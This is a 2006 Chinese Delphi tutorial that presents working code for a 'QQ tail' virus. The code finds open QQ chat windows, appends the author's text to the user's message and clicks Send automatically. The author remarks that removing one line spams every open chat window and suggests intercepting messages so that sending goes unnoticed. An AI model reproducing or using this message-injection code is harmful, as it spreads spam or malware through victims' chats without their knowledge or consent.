网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > Delphi
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.取得自从开机到现在CPU运行的周期.
.模拟Nokia手机输入的编辑框.
.如何在启动机器时自动运行adsl拨.
.delphi2005探讨之二.
.Delphi图象截取编程示例(3).
.kylix开发工具铺平Linux应用之路.
.DBGrid使用全书(五).
.开发一个密码查看器.
.delphi多线程程序示例(与.net一样.
.使用IntraWeb进行Web编程(二).
.XP/2003下开放3389最简单的方法.
.Delphi和Office程序开发.
.DBGrid使用全书(三).
.用Ehlib二次开发报表打印程序,实.
.并发.
.Delphi代码的标准风格.
.计算出用字符串表示的数学表达式.
.让弹出式广告就地正法.
.三层结构的设计模式.
.在Delphi中使用动态图标.

QQ尾巴病毒的另一种实现

发表日期:2006-2-4


 

前几天看到 wuqiu 兄 把 QQ尾巴病毒模拟了一遍,

我觉得通过查找窗体标题,不太合常理

回去用SPY++来查看了一下,原来,QQ的框架是这样的

无法显示

 

其中,#32770(对话框)就是弹出的QQ聊天界面;内部的控件就如上图显示的那样,有Static(标签)、Button(按钮)、AfxWnd42(这个我猜类似panel的容器)、RICHEDIT(这里面就是显示我们的聊天纪录了)

具体的布局就不一一的细说了,你们可以自己打开SPY++看看,一目了然

其中,我们用到的只是其中两个控件,如下图:

前半部分是句柄,中间是标题,后半部分是类名

如:05240258~发送(&S)~Button

就是发送按钮,句柄是05240258

好了,知道了这些,想做点什么就很简单了

全部代码如下:

 

Procedure TForm1.Timer1Timer(Sender: TObject);
Var
   hMemo, hRichEdit, HWindow, HButton: THandle; //句柄变量
   szText           : Array[0..255] Of char;   //得到的字符串
   MyText           : String;  //发送的字符串
Begin
   HWindow := 0;//从零开始,即从第一个字窗体开始遍历查找

   While true Do
      Begin

         //找是#32770(对话框)的窗体
         HWindow := FindWindowEx(0, HWindow, '#32770', Nil);
         If HWindow <> 0 Then
            Begin

              //找是AfxWnd42(这个我猜类似panel的容器)的窗体
               hMemo := FindWindowEx(HWindow, 0, 'AfxWnd42', Nil);
               If hMemo <> 0 Then
                  Begin

                    //找是RICHEDIT的窗体
                     hRichEdit := FindWindowEx(hMemo, 0, 'RichEdit', Nil);
                     If hRichEdit <> 0 Then
                        Begin

                         //想些什么随便啦,嘿嘿
                           MyText := '           阿德是个大帅哥,嘿嘿';

                          //发消息,得到QQ中的文本
                           SendMessage(hRichEdit, WM_GetTEXT, 256,
                              integer(@szText[0]));

                          //加上自己的话
                           MyText := szText + MyText;

                          //再发给QQ
                           SendMessage(hRichEdit, WM_SETTEXT, 256,
                              integer(MyText));

                          //找到发送按钮
                           HButton := FindWindowEx(HWindow, 0, 'Button',
                              '发送(&S)');

                          //发点击消息,发送
                           SendMessage(HButton, BM_CLICK, 0, 0);

                          //退出,如果去掉这句,就是给所有打开的QQ窗体发

                          //否则,只发给最前面的QQ窗体
                           break;
                        End;
                  End;
            End;
      End;
End;

 

这也只是对QQ尾巴的一种猜测,程序有很多不尽如人意的地方,比如发的文本在QQ中显示一下然后再发送,就如 wuqiu 兄 的文章里说的,只要对消息进行拦截,然后再背地里偷偷的发送,就会神不知鬼不觉了

上一篇:状态栏显示进度条 人气:5111
下一篇:回调函数与Delphi的事件模型 人气:4117
浏览全部Delphi的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐